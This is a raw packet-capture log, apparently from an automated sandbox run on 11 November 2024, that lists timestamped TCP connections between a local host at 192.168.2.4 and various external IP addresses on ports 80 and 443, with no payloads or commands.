                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744834900 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744856119 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744887114 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745212078 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745223999 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745230913 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745345116 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746263981 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746270895 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746278048 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746284962 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746319056 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746418953 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.749866962 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.749969959 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.749977112 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.750026941 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.750854969 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.750916958 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833388090 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833463907 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833472013 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833492041 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833755970 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833859921 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833867073 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.833879948 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834002972 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834160089 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834165096 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834214926 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834300995 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834307909 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834410906 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834522009 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.834623098 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.123873949 CET8049769199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.124033928 CET4976980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.124716043 CET8049769199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.124754906 CET4976980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.540679932 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.545555115 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.545623064 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.546112061 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.551125050 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.760046005 CET6215980192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.764925003 CET806215972.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.765017033 CET6215980192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.765244961 CET6215980192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.770868063 CET806215972.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.104316950 CET804977164.225.91.73192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.104491949 CET4977180192.168.2.464.225.91.73
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.258816004 CET806215972.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.261483908 CET6215980192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.261766911 CET6215980192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.266571999 CET806215972.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.310676098 CET6216080192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.315630913 CET806216072.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.315817118 CET6216080192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.315908909 CET6216080192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.320720911 CET806216072.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.813441038 CET806216072.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.815210104 CET6216080192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.815210104 CET6216080192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.820050955 CET806216072.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.834407091 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.834472895 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.516004086 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.520836115 CET805567552.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.521400928 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.521400928 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.526344061 CET805567552.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.210583925 CET805567552.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.210674047 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.213330984 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.218628883 CET805567552.34.198.229192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.218691111 CET5567580192.168.2.452.34.198.229
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.944000006 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.948940992 CET805570944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.949067116 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.949202061 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.954034090 CET805570944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.130738974 CET8049769199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.130809069 CET4976980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.376972914 CET805570944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.377043962 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.383893013 CET805570944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.383965969 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.387037992 CET5570980192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.391897917 CET805570944.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.455770969 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.460592031 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.564385891 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.564702988 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.569283009 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.569539070 CET805571375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.569606066 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.579615116 CET5571480192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.584464073 CET8055714178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.584567070 CET5571480192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.585503101 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.588141918 CET4974080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.588424921 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.590399981 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.592941999 CET8049740199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.593199968 CET8055715199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.593255997 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.593858957 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.598687887 CET8055715199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.607016087 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.608544111 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.608717918 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.611906052 CET805571623.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.611978054 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.612241983 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.613357067 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.613532066 CET805571375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.617052078 CET805571623.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.624469042 CET5571480192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.629318953 CET8055714178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.688106060 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.688358068 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.925285101 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.930068970 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.930185080 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.930289984 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.932655096 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.937637091 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.939297915 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.939726114 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.939793110 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.994364977 CET8055714178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.994447947 CET5571480192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.000157118 CET805571375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.000262976 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.005270958 CET805571375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.005350113 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.007263899 CET5571480192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.007586002 CET5571380192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.012098074 CET8055714178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.012433052 CET805571375.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019233942 CET8055715199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019285917 CET8055715199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019309044 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019349098 CET5571580192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.028930902 CET8049736208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.028984070 CET4973680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.091906071 CET805571623.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.091924906 CET805571623.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.091988087 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.092088938 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.097604036 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.097630024 CET5571680192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.268362045 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.268420935 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.268552065 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.270911932 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.270925045 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.308357954 CET8049745154.212.231.82192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.308439016 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.308463097 CET4974580192.168.2.4154.212.231.82
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.309005022 CET5572080192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.309405088 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.309467077 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.309560061 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.310300112 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.310316086 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313325882 CET805571823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313396931 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313505888 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313831091 CET8055720178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313889027 CET5572080192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313972950 CET5572080192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.318583965 CET805571823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.318785906 CET8055720178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.706163883 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.706238031 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.706866980 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.706881046 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.707252026 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.707259893 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.726231098 CET8055720178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.726308107 CET5572080192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.726429939 CET5572080192.168.2.4178.162.203.226
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.731270075 CET8055720178.162.203.226192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.755620956 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.755712986 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.769821882 CET805571823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.769898891 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.769936085 CET805571823.253.46.64192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.770056009 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.770355940 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.770384073 CET5571880192.168.2.423.253.46.64
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.785458088 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.785485029 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.785823107 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.785886049 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.791404009 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823914051 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823971987 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823983908 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824012041 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824060917 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824125051 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824140072 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824151993 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824165106 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824176073 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824245930 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824565887 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824579000 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824590921 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824604988 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824636936 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824673891 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.828905106 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.828947067 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.829020023 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.839329958 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905443907 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905530930 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905811071 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905878067 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905884027 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905891895 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.905941963 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906033039 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906044960 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906056881 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906080008 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906135082 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906292915 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906305075 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906316996 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906332016 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906342983 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906392097 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906878948 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906889915 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906902075 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906913996 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906936884 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906981945 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.906994104 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907006979 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907052994 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907145023 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907157898 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907217026 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907387972 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907401085 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907413006 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907455921 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907489061 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907665968 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.907751083 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.908245087 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.908402920 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.910465002 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.910523891 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.910586119 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.910662889 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.914103985 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.914200068 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936388016 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936439991 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936492920 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936533928 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936548948 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936583042 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936625957 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.936686039 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.937092066 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.937150002 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986391068 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986407042 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986426115 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986438990 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986453056 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986463070 CET4974780192.168.2.4199.191.50.83
